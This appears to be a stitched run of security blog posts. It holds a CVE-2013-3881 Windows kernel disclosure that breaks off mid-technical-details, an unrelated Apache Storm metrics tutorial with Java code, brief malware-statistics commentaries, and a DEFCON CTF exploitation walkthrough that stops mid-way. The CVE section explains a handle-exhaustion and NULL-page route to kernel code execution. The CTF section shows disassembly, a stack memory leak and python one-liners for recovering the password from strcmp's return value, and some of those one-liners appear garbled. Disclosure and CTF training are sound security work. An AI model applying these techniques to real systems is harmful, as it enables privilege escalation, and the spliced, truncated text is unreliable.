Endgame has discovered and disclosed to Microsoft the Win32 NULL Page Vulnerability (CVE-2013-3881), which has been fixed in Microsoft’s October Security Bulletin, released October 8, 2013. The vulnerability was the result of insufficient pointer validation in a kernel function that handles popup menus. Successfully exploiting this vulnerability would allow an attacker with unprivileged access to a Windows 7 or Server 2008 R2 system to gain access to the Windows kernel, thereby rendering user account controls useless.

Affected Versions

In previous versions of Windows, including XP, Server 2003, Vista, and Server 2008 R1, Microsoft actually included code that adequately verified the pointer in question. However, in Windows 7 (and Server 2008 R2), that check was removed, leading to the exploitable condition.

If the product line ended there, it would be easy to imagine that this was an inadvertent removal of what a developer mistakenly thought was a redundant check and to give it little additional thought. However, in the initial release of Windows 8 (August 2012), the pointer validation had been put back in place, long before we reported the bug to Microsoft. We would assume that when a significant security issue comes to light, Microsoft would simultaneously fix it across all affected products. Unless the Windows 8 win32k.sys code was forked from a pre-Windows 7 base, this bug was fixed upstream by Microsoft prior to our disclosure. This is purely speculative, but if our previous supposition is true, they either inadvertently fixed the bug, or recognized the bug and purposely fixed it, but failed to understand the security problem it created.

Mitigation

The good news for Windows users is that Microsoft does have a realistic approach to dealing with vulnerabilities, which resulted in some protection even prior to the release of this patch. One of the simplest security features (at least in concept, if not in implementation) that Microsoft introduced in Windows 8 was to prohibit user applications from mapping memory at virtual address zero. This technique takes the entire class of null-pointer-dereference kernel bugs out of the potential-system-compromise category and moves them into the relatively benign category of user-experience/denial-of-service problems. When Microsoft back-ported this protection to Windows 7, they eliminated the opportunity to exploit this bug on 64-bit systems. This illustrates how the conventional wisdom that “an ounce of prevention is worth a pound of cure” can be turned on its ear in the world of software vulnerabilities. Microsoft will undoubtedly be fixing null pointer dereferences in their products for as long as they support them. However, by applying a relatively inexpensive “cure”, they have limited the consequences of the problems that they will spend years trying to “prevent”.

Impact

Part of what makes this type of vulnerability so valuable to attackers is the proliferation of sandbox technologies in popular client-side applications. We have confirmed that this vulnerability can be exploited from within several client-side applications’ sandboxes, including Google Chrome and Adobe Reader, and from Internet Explorer’s protected mode. On the surface, that sounds like bad news. On the other hand, we would not have even considered that question if these mitigation technologies were not making it more difficult for attackers to compromise systems. In order to completely own a target via one of those applications, an attacker must have a vulnerability that leads to code execution, another that allows them to leak memory so as to defeat Microsoft’s memory randomization feature, and finally, a vulnerability like the one described here that allows them to escape the hobbled process belonging to the initial target application.

Technical Details

When an application displays a popup or context menu, it must call user32!TrackPopupMenu or user32!TrackPopupMenuEx in order to capture the action that the user takes relative to that menu. This function eventually leads to the xxxTrackPopupMenuEx function in win32k.sys. Since it is unusual to simultaneously display multiple context menus, there is a global MenuState object within win32k.sys that is ordinarily used to track the menu. However, since it is possible to display multiple context menus, if the global MenuState object is in use, xxxTrackPopupMenuEx attempts to create another MenuState object with a call to xxxMNAllocMenuState. xxxTrackPopupMenuEx saves the result of this allocation attempt and checks to ensure that the result was not 0, as seen in the most recent unpatched 64-bit Windows 7 version of win32k.sys (6.1.7601.18233):

xxxTrackPopupMenuEx+364 call  xxxMNAllocMenuState
xxxTrackPopupMenuEx+369 mov   r15, rax
xxxTrackPopupMenuEx+36C test  rax, rax
xxxTrackPopupMenuEx+36F jnz   short alloc_success
xxxTrackPopupMenuEx+371 bts   esi, 7
xxxTrackPopupMenuEx+375 jmp   clean_up

In the event that the allocation fails, the function skips to its cleanup routine, which under normal circumstances will cause a BSOD when the function attempts to dereference unallocated memory at r15+8:

xxxTrackPopupMenuEx+9BA clean_up:   ; CODE XREF:
xxxTrackPopupMenuEx+375j
xxxTrackPopupMenuEx+9BA bt    dword ptr [r15+8], 8

However, if we can allocate and correctly initialize the memory mapped at address zero for the process, we can reliably gain arbitrary code execution when the function passes the invalid MenuState pointer to xxxMNEndMenuState.

xxxTrackPopupMenuEx+A76 mov rcx, r15 ;pMenuState
xxxTrackPopupMenuEx+A79 call  xxxMNEndMenuState

It is possible to reliably create circumstances in which the xxxTrackPopupMenuEx call to xxxMNAllocMenuState will fail. After creating two windows, we use repeated calls to NtGdiCreateClientObj in order to reach the maximum number of handles that the process is allowed to have open. Once we have exhausted the available handles, we attempt to display a popup menu in each of the two previously created windows. Since the global MenuState object is not available for the second window’s menu, xxxTrackPopupMenuEx calls xxxMNAllocMenuState in order to create a new MenuState object. Because there are no available handles due to our previous exhaustion, this call fails and xxxMNEndMenuState is called with a parameter of 0, instead of a valid pointer to a MenuState object.

If you have been following Storm’s updates over the past year, you may have noticed the metrics framework feature, added in version 0.9.0 New Storm metrics system PR. This provides nicer primitives built into Storm for collecting application specific metrics and reporting those metrics to external systems in a manageable and scalable way.

This blog post is a brief how to on using this system since the only examples of this system I’ve seen used are in the core storm code.

Concepts

Storm’s metrics framework mainly consists of two API additions: 1) Metrics, 2) Metrics Consumers.

Metric

An object initialized in a Storm bolt or spout (or Trident Function) that is used for instrumenting the respective bolt/spout for metric collection. This object must also be registered with Storm using the TopologyContext.registerMetric(…) function. Metrics must implement backtype.storm.metric.api.IMetric. Several useful Metric implementations exist. (Excerpt from the Storm Metrics wiki page with some extra notes added).

AssignableMetric — set the metric to the explicit value you supply. Useful if it’s an external value or in the case that you are already calculating the summary statistic yourself. Note: Useful for statsd Gauges.

CombinedMetric — generic interface for metrics that can be updated associatively.

CountMetric — a running total of the supplied values. Call incr() to increment by one,incrBy(n) to add/subtract the given number. Note: Useful for statsd counters.

MultiCountMetric — a hashmap of count metrics. Note: Useful for many Counters where you may not know the name of the metric a priori or where creating many Counters manually is burdensome.

MeanReducer — an implementation of ReducedMetric that tracks a running average of values given to its reduce() method. (It accepts Double, Integer or Long values, and maintains the internal average as a Double.) Despite his reputation, the MeanReducer is actually a pretty nice guy in person.

Metrics Consumer

An object meant to process/report/log/etc output from Metric objects (represented as DataPoint objects) for all the various places these Metric objects were registered, also providing useful metadata about where the metric was collected such as worker host, worker port, componentID (bolt/spout name), taskID, timestamp, and updateInterval (all represented as TaskInfo objects). MetricConsumers are registered in the storm topology configuration (usingbacktype.storm.Config.registerMetricsConsumer(…)) or in Storm’s system config (Under the config name topology.metrics.consumer.register). Metrics Consumers must implement backtype.storm.metric.api.IMetricsConsumer.

Example Usage

To demonstrate how to use the new metrics framework, I will walk through some changes I made to the ExclamationTopology included in storm-starter. These changes will allow us to collect some metrics including:

1. A simple count of how many times the execute() method was called per time period (5 sec in this example).
2. A count of how many times an individual word was encountered per time period (1 minute in this example).
3. The mean length of all words encountered per time period (1 minute in this example).

Adding Metrics to the ExclamationBolt

Add three new member variables to ExclamationBolt. Notice there are all declared as transient. This is needed because none of these Metrics are Serializable and all non-transient variables in Storm bolts and spouts must be Serializable.

transient CountMetric _countMetric;
transient MultiCountMetric _wordCountMetric;
transient ReducedMetric _wordLengthMeanMetric;

Initialize and register these Metrics in the Bolt’s prepare method. Metrics can only be registered in the prepare method of bolts or the open method of spouts. Otherwise an exception is thrown. The registerMetric takes three arguments: 1) metric name, 2) metric object, and 3) time bucket size in seconds. The “time bucket size in seconds” controls how often the metrics are sent to the Metrics Consumer.

@Override
public void prepare(Map conf, TopologyContext context, OutputCollector collector) {
  _collector = collector;
  initMetrics(context);
}

void initMetrics(TopologyContext context)
{
    _countMetric = new CountMetric();
    _wordCountMetric = new MultiCountMetric();
    _wordLengthMeanMetric = new ReducedMetric(new MeanReducer());

    context.registerMetric("execute_count", _countMetric, 5);
    context.registerMetric("word_count", _wordCountMetric, 60);
    context.registerMetric("word_length", _wordLengthMeanMetric, 60);
}

Actually increment/update the metrics in the bolt’s execute method. In this example we are just:

1. incrementing a counter every time we handle a word.
2. incrementing a counter for each specific word encountered.
3. updating the mean length of word we encountered.

@Override
public void execute(Tuple tuple) {
  _collector.emit(tuple, new Values(tuple.getString(0) + "!!!"));
  _collector.ack(tuple);
  updateMetrics(tuple.getString(0));
}

void updateMetrics(String word)
{
  _countMetric.incr();
  _wordCountMetric.scope(word).incr();
  _wordLengthMeanMetric.update(word.length());
}

Collecting/Reporting Metrics

Lastly, we need to enable a Metric Consumer in order to collect and process these metrics. The Metric Consumer is meant to be the interface between the Storm metrics framework and some external system (such as Statsd,Riemann, etc). In this example, we are just going to log the metrics using Storm’s built-in LoggingMetricsConsumer. This is accomplished by registering the Metrics Consumer when defining the Storm topology. In this example, we are registering the metrics consumer with a parallelism hint of 2. Here is the line we need to add when defining the topology.

conf.registerMetricsConsumer(LoggingMetricsConsumer.class, 2);

Here is the full code for defining the toplogy:

TopologyBuilder builder = new TopologyBuilder();
builder.setSpout("word", new TestWordSpout(), 10);
builder.setBolt("exclaim1", new ExclamationBolt(), 3)
  .shuffleGrouping("word");
builder.setBolt("exclaim2", new ExclamationBolt(), 2)
  .shuffleGrouping("exclaim1");

Config conf = new Config();
conf.setDebug(true);
conf.registerMetricsConsumer(LoggingMetricsConsumer.class, 2);

if (args != null && args.length > 0) {
  conf.setNumWorkers(3);
  StormSubmitter.submitTopology(args[0], conf, builder.createTopology());
}
else {
  LocalCluster cluster = new LocalCluster();
  cluster.submitTopology("test", conf, builder.createTopology());
  Utils.sleep(5*60*1000L);
  cluster.killTopology("test");
  cluster.shutdown();
}

After running this topology, you should see log entries in $STORM_HOME/logs/metrics.logthat look like this.

<pre>2014-01-05 09:25:34,809 5479318  1388931931           localhost:6702      9:exclaim2    execute_count           196
2014-01-05 09:25:49,806 5494315  1388931949           localhost:6703      8:exclaim1    execute_count           28
2014-01-05 09:25:59,812 5504321  1388931959           localhost:6703      8:exclaim1    execute_count           34
2014-01-05 09:25:59,812 5504321  1388931946           localhost:6702      6:exclaim1    execute_count           29
2014-01-05 09:25:59,825 5504334  1388931951           localhost:6702      9:exclaim2    execute_count           989
2014-01-05 09:25:59,831 5504340  1388931957           localhost:6704      7:exclaim1    execute_count           656
2014-01-05 09:26:29,821 5534330  1388931977           localhost:6704      7:exclaim1    word_count              {bertels=435, jackson=402, nathan=405, mike=414, golda=451}
2014-01-05 09:26:29,821 5534330  1388931977           localhost:6704      7:exclaim1    word_length             5.790223065970574
2014-01-05 09:26:29,822 5534331  1388931982           localhost:6704     10:exclaim2    word_count              {bertels!!!=920, golda!!!=919, jackson!!!=902, nathan!!!=907, mike!!!=921}
2014-01-05 09:26:29,823 5534332  1388931982           localhost:6704     10:exclaim2    word_length             8.794484569927775
2014-01-05 09:26:29,823 5534332  1388931986           localhost:6702      9:exclaim2    word_count              {bertels!!!=737, golda!!!=751, jackson!!!=766, nathan!!!=763, mike!!!=715}
2014-01-05 09:26:29,823 5534332  1388931986           localhost:6702      9:exclaim2    word_length             8.818327974276528
2014-01-05 09:26:31,777 5536286  1388931991           localhost:6702      6:exclaim1    word_count              {bertels=529, jackson=517, nathan=503, mike=498, golda=511}
2014-01-05 09:26:31,777 5536286  1388931991           localhost:6702      6:exclaim1    word_length             5.819781078967944
2014-01-05 09:26:32,454 5536963  1388931992           localhost:6704     10:exclaim2    execute_count           14
2014-01-05 09:26:49,829 5554338  1388932009           localhost:6703      8:exclaim1    execute_count           76</pre>

You should also see the LoggingMetricsConsumer show up as a Bolt in the Storm web UI, like this (After clicking the “Show System Stats” button at the bottom of the page):

Summary

1. We instrumented the ExclamationBolt to collect some simple metrics. We accomplished this by initializing and registering the metrics in the Bolt’s prepare method and then by incrementing/updating the metrics in the bolt’s execute method.

2. We had the metrics framework simply log all the metrics that were gathered using the built-in LoggingMetricsConsumer. The full code ishere as well as posted below. A diff between the original ExclamationTopology and mine is here.

In a future post I hope to present a Statsd Metrics Consumer that I am working on to allow for easy collection of metrics in statsd and then visualization in graphite, like this.

package storm.starter;

import backtype.storm.Config;
import backtype.storm.LocalCluster;
import backtype.storm.StormSubmitter;
import backtype.storm.metric.LoggingMetricsConsumer;
import backtype.storm.metric.api.CountMetric;
import backtype.storm.metric.api.MeanReducer;
import backtype.storm.metric.api.MultiCountMetric;
import backtype.storm.metric.api.ReducedMetric;
import backtype.storm.task.OutputCollector;
import backtype.storm.task.TopologyContext;
import backtype.storm.testing.TestWordSpout;
import backtype.storm.topology.OutputFieldsDeclarer;
import backtype.storm.topology.TopologyBuilder;
import backtype.storm.topology.base.BaseRichBolt;
import backtype.storm.tuple.Fields;
import backtype.storm.tuple.Tuple;
import backtype.storm.tuple.Values;
import backtype.storm.utils.Utils;

import java.util.Map;

/**
 * This is a basic example of a Storm topology.
 */
public class ExclamationTopology {

  public static class ExclamationBolt extends BaseRichBolt {
    OutputCollector _collector;

    // Metrics
    // Note: these must be declared as transient since they are not Serializable
    transient CountMetric _countMetric;
    transient MultiCountMetric _wordCountMetric;
    transient ReducedMetric _wordLengthMeanMetric;

    @Override
    public void prepare(Map conf, TopologyContext context, OutputCollector collector) {
      _collector = collector;

      // Metrics must be initialized and registered in the prepare() method for bolts,
      // or the open() method for spouts.  Otherwise, an Exception will be thrown
      initMetrics(context);
    }

    void initMetrics(TopologyContext context)
    {
	_countMetric = new CountMetric();
	_wordCountMetric = new MultiCountMetric();
	_wordLengthMeanMetric = new ReducedMetric(new MeanReducer());

	context.registerMetric("execute_count", _countMetric, 5);
	context.registerMetric("word_count", _wordCountMetric, 60);
	context.registerMetric("word_length", _wordLengthMeanMetric, 60);
    }

    @Override
    public void execute(Tuple tuple) {
      _collector.emit(tuple, new Values(tuple.getString(0) + "!!!"));
      _collector.ack(tuple);

      updateMetrics(tuple.getString(0));
    }

    void updateMetrics(String word)
    {
	_countMetric.incr();
	_wordCountMetric.scope(word).incr();
	_wordLengthMeanMetric.update(word.length());
    }

    @Override
    public void declareOutputFields(OutputFieldsDeclarer declarer) {
      declarer.declare(new Fields("word"));
    }


  }

  public static void main(String[] args) throws Exception {
    TopologyBuilder builder = new TopologyBuilder();

    builder.setSpout("word", new TestWordSpout(), 10);
    builder.setBolt("exclaim1", new ExclamationBolt(), 3).shuffleGrouping("word");
    builder.setBolt("exclaim2", new ExclamationBolt(), 2).shuffleGrouping("exclaim1");

    Config conf = new Config();
    conf.setDebug(true);

    // This will simply log all Metrics received into $STORM_HOME/logs/metrics.log on one or more worker nodes.
    conf.registerMetricsConsumer(LoggingMetricsConsumer.class, 2);

    if (args != null && args.length > 0) {
      conf.setNumWorkers(3);

      StormSubmitter.submitTopology(args[0], conf, builder.createTopology());
    }
    else {

      LocalCluster cluster = new LocalCluster();
      cluster.submitTopology("test", conf, builder.createTopology());
      Utils.sleep(5*60*1000L);
      cluster.killTopology("test");
      cluster.shutdown();
    }
  }
}

According to F-Secure’s “Q1 2014 Mobile Threat Report”, the Android operating system was the main target of 99% of new mobile malware in Q1 2014. The report states that between January 1 and March 31, F-Secure discovered 275 new malware threat families for Android, compared to just one for iOS and one for Symbian. In the same report from Q1 2013, F-Secure identified 149 malware threat families with 91% of them targeting Android. Not only are malware threats proliferating, but the amount of malware specifically targeting Android devices is also increasing.

It’s true that Android malware is becoming more advanced and harder to mitigate. But all the same, the numbers tell a bleak story for Android users. Why are there so many more malware threat families for Android than for iOS? The advantage iOS has over Android in terms of malware protection is Apple’s App store, where all applications are fully vetted and tested before public release. This system has had a significant impact on preventing malware infections for iOS users. Since a large number of Android apps come from third-party sources, it’s more difficult for Google to monitor and control all of the Android apps being downloaded by consumers. As long as Android continues to allow users to download apps from third parties where “criminal developers” can distribute their applications, we’re likely to continue to see an increase in the number of Android malware threats. It will be interesting to see what F-Secure’s Q2 report brings.

Verizon recently released its 2014 Data Breach Investigations Report. I could spend all day analyzing this, but I’ll touch on just one issue that’s been on many of our minds recently: Point-of-Sale (POS) intrusion.

Aside from Verizon’s assertion that the number of POS intrusions is actually declining (contrary to popular perception), I was most intrigued by the following statement: “Regardless of how large the victim organization was or which methods were used to steal payment card information, there is another commonality shared in 99% of the cases: someone else told the victim they had suffered a breach.”

What does that say for the wide array of network defense software currently deployed around the globe? An organization’s security posture is clearly flawed if the vast majority of compromises are discovered by outside parties (the report stated that law enforcement was the leading source of discovery for POS intrusions). It is especially troubling that even large organizations don’t spot intrusions, because they likely have the resources to purchase the best security tools available. Either companies aren’t prioritizing security, or the available tools are failing them.

The bottom line is that with all the network security tools out there, no one has shown much success at thwarting POS attacks in real time. If we assume the POS targets were PCI compliant, then they must have had, at a minimum, 12 security requirements from 6 control objectives (per the PCI Data Security Standard: Requirements and Security Assessment Procedures Version 3.0).

Despite these security measures being critical first lines of defense, in many situations they are not enough to thwart the most aggressive threats. Attackers were still able to enter the networks and extract sensitive consumer information. It seems likely that network defenders will continue to be unaware of nefarious acts taking place within their own networks until more intelligent network security solutions become the standard. Detection, analysis, and remediation need to happen in real time, rather than continuing to be a post-mortem affair.

I constantly challenge myself to gain deeper knowledge in reverse engineering, vulnerability discovery, and exploit mitigations. By day, I channel this knowledge and passion into my job as a security researcher at Endgame. By night, I use these skills as a Capture the Flag code warrior. I partook in the DEFCON CTF qualification round this weekend to help sharpen these skills and keep up with the rapid changes in reverse engineering technology. DEFCON CTF qualifications are a fun, and sometimes frustrating, way to cultivate my skillset by solving challenges alongside my team, Samurai.

CTF Background

For those of you who aren’t familiar with a computer security CTF game, Wikipedia provides a simple explanation. The qualification round for the DEFCON CTF is run jeopardy style while the actual game is an attack/defense model. Qualifications ran all weekend for 48 hours with no breaks. Since 2013 the contest has been run by volunteers belonging to a hacker club called the Legitimate Business Syndicate, which is partly comprised of former Samurai members. They did a fantastic job with qualifications this year and ran a smooth game with almost no downtime, solid technical challenges, round the clock support and the obligatory good-natured heckling. As a fun exercise, let’s walk through an interesting problem from the game. All of the problems from the CTF game can be found here.

Problem Introduction

The first challenge was written by someone we’ll call Mr. G and was worth 2 points. Upon opening the challenge you are presented with the following text:

http://services.2014.shallweplayaga.me/shitsco_c8b1aa31679e945ee64bde1bdb19d035 is running at:

shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me:31337

Capture the flag.

Downloading the shitsco_c8b1aa31679e945ee64bde1bdb19d035 file and running the “file” command reveals:

user@ubuntu:~$  file shitsco

shitsco: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x8657c9bdf925b4864b09ce277be0f4d52dae33a6, stripped

This is an ELF file that we can assume will run on a Linux 32-bit OS. Symbols were stripped to make reverse engineering a bit more difficult. At least it is not statically linked. I generally like to run strings on a binary at this point to get a quick sense of what might be happening in the binary. Doing this shows several string APIs imported and text that looks to be indicative of a command prompt style interface. Let’s run the binary to confirm this:

user@ubuntu:~$  ./shitsco
Failed to open password file: No such file or directory

Ok, the program did not do what I expected. We will need to add a user shitsco and create a file in his home directory called password. I determined this by running:

shitsco@ubuntu:~$  sudo strace ./shitsco
…
open("/home/shitsco/password", O_RDONLY) = -1 ENOENT (No such file or directory)
…

We can see that the file /home/shitsco/password was opened for reading and that this failed (ENOENT) because the file did not exist. You should create this file without a new line on the end or you might have trouble later on. I discovered this through trial and error. After creating the file we get better results:

shitsco@ubuntu:~$  echo –n asdf > /home/shitsco/password
shitsco@ubuntu:~$  ./shitsco

  oooooooo8 oooo        o88    o8
888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888
        888 888   888   888  888           888 888         888     888
o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?

$ ?
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
======================================
Type ? followed by a command for more detailed information
$

This looks like fun. We have what looks to be a router prompt. Typically, the goal with these binary exploitation problems is to identify somewhere that user input causes the program to crash and then devise a way to make that input take control over the program and reveal a file called flag residing on the remote machine. At this point, I have two choices. I can play around with the input to see if I can get it to crash or I can dive into the reverse engineering. I opted to play around with the input and the first thing that caught my attention was the shell command!

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ shell
bash-3.2$

No way, it couldn’t be that easy. Waiting 5 seconds produces:

Yeah, right.

Ok, let the taunting begin. We can ignore the shell command. Thanks for the laugh Mr. G. By playing with the command line interface, I found the command input length was limited to 80 characters with anything coming after 80 characters applying to the next command. The set and show commands looked interesting, but even adding 1000 variables of different lengths failed to produce any interesting behavior. Typically, I am looking for a way to crash the program at this point.

What really looked like the solution came from the enable command:

$ enable
Please enter a password: asdf
Authentication Successful
# ?
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|flag                                 |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
|disable                              |
======================================
Type ? followed by a command for more detailed information
# flag
The flag is: foobarbaz

The password for the enable prompt comes from the password file we created earlier. I also created a file in /home/shitsco/ called flag with the contents foobarbaz; which is now happily displayed on my console. The help (? command) after we enter “enabled mode” has two extra commands: disable and flag. So, if I can get the enable password on the remote machine, then I can simply run the flag command and score points on the problem. Ok, we have a plan, but how to crack that password?

The “Enable” Password

To recover this password, the first option that comes to mind is brute force. This is usually an option of last resort in CTF competitions. Just think about what could happen to this poor service if 1000 people decided to brute force the challenge. Having an inaccessible service spoils the fun for others playing. It’s time to dive a bit deeper and see if there is anything else we could try.

I tried long passwords, passwords with format strings such as %s, empty passwords, and passwords with binary data. None of these produced any results. However, a password length of 5 caused a strange behavior:

$ enable
Please enter a password: AAAAA
Nope.  The password isn't AAAAA▒r▒@▒r▒▒ο`M_▒`▒▒▒t▒

Ok, that looks like we’re getting extra memory back. If we look at it as hex we see:

shitsco@ubuntu:~$  echo -e enable\\nAAAAA\\n | ./shitsco | xxd
…
0000220: 2020 5468 6520 7061 7373 776f 7264 2069    The password i
0000230: 736e 2774 2041 4141 4141 f07c b740 f47c  sn't AAAAA.|.@.|
0000240: b792 90c1 bf60 c204 0808 8d69 b760 c204  .....`.....i.`..
0000250: 08a0 297f b701 0a24 200a 3a20 496e 7661  ..)....$ .: Inva
0000260: 6c69 6420 636f 6d6d 616e 640a 2420       lid command.$

The bit that starts 0xf0 0x7c is the start of the memory disclosure. Looking a little further, we see 0x60 0xc2 0x04 0x08. This looks like it could be a little endian encoded pointer for 0x0804c260. This is pretty cool and all, but where is the password?

I tried sending in all possible password lengths and it was always leaking the same amount of data. But the leak only worked if the password is more than 4 characters. It’s time to turn to IDA Pro and focus in on the function for the enable command.

This is the disassembly for the function responsible for handling the enable command. It is easy to find with string cross references:

.text:08049230 enable          proc near               ; DATA XREF: .data:0804C270o
.text:08049230
.text:08049230 dest            = dword ptr -4Ch
.text:08049230 src             = dword ptr -48h
.text:08049230 n               = dword ptr -44h
.text:08049230 term            = byte ptr -40h
.text:08049230 s2              = byte ptr -34h
.text:08049230 var_14          = dword ptr -14h
.text:08049230 cookie          = dword ptr -10h
.text:08049230 arg_0           = dword ptr  4
.text:08049230
.text:08049230                 push    esi
.text:08049231                 push    ebx
.text:08049232                 sub     esp, 44h
.text:08049235                 mov     esi, [esp+4Ch+arg_0]
.text:08049239                 mov     eax, large gs:14h
.text:0804923F                 mov     [esp+4Ch+cookie], eax
.text:08049243                 xor     eax, eax
.text:08049245                 mov     eax, [esi]
.text:08049247                 test    eax, eax
.text:08049249                 jz      loc_80492D8
.text:0804924F                 lea     ebx, [esp+4Ch+s2]
.text:08049253                 mov     [esp+4Ch+n], 20h ; n
.text:0804925B                 mov     [esp+4Ch+src], eax ; src
.text:0804925F                 mov     [esp+4Ch+dest], ebx ; dest
.text:08049262                 call    _strncpy
.text:08049267
.text:08049267 loc_8049267:                            ; CODE XREF: enable+EDj
.text:08049267                 mov     [esp+4Ch+src], ebx ; s2
.text:0804926B                 mov     [esp+4Ch+dest], offset password_mem ; s1
.text:08049272                 call    _strcmp
.text:08049277                 mov     [esp+4Ch+var_14], eax
.text:0804927B                 mov     eax, [esp+4Ch+var_14]
.text:0804927F                 test    eax, eax
.text:08049281                 jz      short loc_80492B8
.text:08049283                 mov     [esp+4Ch+n], ebx
.text:08049287                 mov     [esp+4Ch+src], offset aNope_ThePasswo ; "Nope.  The password isn't %s\n"
.text:0804928F                 mov     [esp+4Ch+dest], 1
.text:08049296                 call    ___printf_chk
.text:0804929B
.text:0804929B loc_804929B:                            ; CODE XREF: enable+A5j
.text:0804929B                 mov     [esp+4Ch+dest], esi
.text:0804929E                 call    sub_8049090
.text:080492A3                 mov     eax, [esp+4Ch+cookie]
.text:080492A7                 xor     eax, large gs:14h
.text:080492AE                 jnz     short loc_8049322
.text:080492B0                 add     esp, 44h
.text:080492B3                 pop     ebx
.text:080492B4                 pop     esi
.text:080492B5                 retn
.text:080492B5 ; ---------------------------------------------------------------------------
.text:080492B6                 align 4
.text:080492B8
.text:080492B8 loc_80492B8:                            ; CODE XREF: enable+51j
.text:080492B8                 mov     [esp+4Ch+dest], offset aAuthentication ; "Authentication Successful"
.text:080492BF                 mov     ds:admin_privs, 1
.text:080492C9                 mov     ds:prompt, 23h
.text:080492D0                 call    _puts
.text:080492D5                 jmp     short loc_804929B
.text:080492D5 ; ---------------------------------------------------------------------------
.text:080492D7                 align 4
.text:080492D8
.text:080492D8 loc_80492D8:                            ; CODE XREF: enable+19j
.text:080492D8                 mov     [esp+4Ch+src], offset aPleaseEnterAPa ; "Please enter a password: "
.text:080492E0                 lea     ebx, [esp+4Ch+s2]
.text:080492E4                 mov     [esp+4Ch+dest], 1
.text:080492EB                 call    ___printf_chk
.text:080492F0                 mov     eax, ds:stdout
.text:080492F5                 mov     [esp+4Ch+dest], eax ; stream
.text:080492F8                 call    _fflush
.text:080492FD                 mov     dword ptr [esp+4Ch+term], 0Ah ; term
.text:08049305                 mov     [esp+4Ch+n], 20h ; a3
.text:0804930D                 mov     [esp+4Ch+src], ebx ; a2
.text:08049311                 mov     [esp+4Ch+dest], 0 ; fd
.text:08049318                 call    read_n_until
.text:0804931D                 jmp     loc_8049267
.text:08049322 ; ---------------------------------------------------------------------------
.text:08049322
.text:08049322 loc_8049322:                            ; CODE XREF: enable+7Ej
.text:08049322                 call    ___stack_chk_fail
.text:08049322 enable          endp

Here is the C decompiled version of the function that is a bit clearer:

int __cdecl enable(const char **a1)
{
  const char *v1; // ebx@2
  char s2[32]; // [sp+18h] [bp-34h]@2
  int v4; // [sp+38h] [bp-14h]@3
  int cookie[4]; // [sp+3Ch] [bp-10h]@1

  cookie[0] = *MK_FP(__GS__, 20);
  if ( *a1 )
  {
   v1 = s2;
   strncpy(s2, *a1, 32u);
  }
  else
  {
   v1 = s2;
   __printf_chk(1, "Please enter a password: ");
   fflush(stdout);
   read_n_until(0, (int)s2, 32, 10);
  }
  v4 = strcmp((const char *)password_mem, v1);
  if ( v4 )
  {
   __printf_chk(1, "Nope.  The password isn't %s\n", v1);
  }
  else
  {
   admin_privs = 1;
   prompt = '#';
   puts("Authentication Successful");
  }
  sub_8049090((void **)a1);
  return *MK_FP(__GS__, 20) ^ cookie[0];
}

I’ve labeled a few things here like the local variables and the recv_n_until function. Notice that s2 or [esp+4Ch+src] is the destination buffer for the password we enter. It also looks possible to run enable < password > and not get prompted for the password. This results in a strncpy and the other prompting path read the password with a call to recv_n_until. Here is the interesting thing: When I tried the strncpy code path, I did not get the leak behavior:

$ enable
Please enter a password: AAAAA
Nope.  The password isn't AAAAA`x▒@dx▒▒▒`▒d▒`▒▒▒z▒
$ enable AAAAA
Nope.  The password isn't AAAAA
$

So, what is the difference? Let’s have a quick look at the strncpy man page, namely the bit that says “If the length of src is less than n, strncpy() writes additional null bytes to dest to ensure that a total of n bytes are written.” On the prompting code path, our string is not being null terminated but if we enter the password with the enable command it is null terminated. We can also see that the s2 variable on the stack is never initialized to 0. There is no memset call.

Still we don’t have the password. It doesn’t exist in the leaked data. Leaks are very useful in exploitation as a defeat to ASLR. We might have enough information here to recover base addresses of the stack or libc. However, the path we are on to get the flag does not involve taking advantage of memory corruption. Is there anything in this leak that could give us something useful?

To answer this question let’s look at the stack layout and what is actually getting printed back to us:

.text:08049230 dest            = dword ptr -4Ch
.text:08049230 src             = dword ptr -48h
.text:08049230 n               = dword ptr -44h
.text:08049230 term            = byte ptr -40h
.text:08049230 s2              = byte ptr -34h
.text:08049230 var_14          = dword ptr -14h
.text:08049230 cookie          = dword ptr -10h
.text:08049230 arg_0           = dword ptr  4

Therefore, if we are copying into s2 and we only leak data after the 4th character, we can assume that by default in the uninitialized stack there is a null at s2[3]. Overwriting this with user data causes our string to not terminate until we run into a null later on up the stack. What is var_14?

v4 = strcmp((const char *)password_mem, v1);

It turns out that var_14 (or v4) is the return from strcmp. Hummm. Here is what the main page has to say about that “The strcmp() and strncmp() functions return an integer less than, equal to, or greater than zero if s1 (or the first n bytes thereof) is found, respectively, to be less than, to match, or be greater than s2.” What this means is that we can tell if our input string is less than or greater than the password on the remote machine. Let’s try it locally first. Our password locally is “asdf”. Let’s see if we can divine the first character using this method. The var_14 variable should be the 33rd character we get back:

shitsco@ubuntu:~$  python -c "import sys;sys.stdout.write('enable\n' + ''*80 + '\n')" | ./shitsco |xxd
…
0000210: 2070 6173 7377 6f72 643a 204e 6f70 652e   password: Nope.
0000220: 2020 5468 6520 7061 7373 776f 7264 2069    The password i
0000230: 736e 2774 2020 2020 2020 2020 2020 2020  sn't
0000240: 2020 2020 2020 2020 2020 2020 2020 2020
0000250: 2020 2020 2001 0a24 200a 2020 2020 2020       ..$ .

I picked the space character for our password because on the ascii table space (0x20) is the lowest value printable character. We can see that the bit in bold here was 0x0100 as var_14. The null after the 0x1 is implied. Now, what happens if we set this to ‘a’ + 79 spaces?

shitsco@ubuntu:~$ python -c "import sys;sys.stdout.write('enable\na' + ''*79 + '\n')" | ./shitsco |xxd
0000220: 2020 5468 6520 7061 7373 776f 7264 2069    The password i
0000230: 736e 2774 2061 2020 2020 2020 2020 2020  sn't a
0000240: 2020 2020 2020 2020 2020 2020 2020 2020
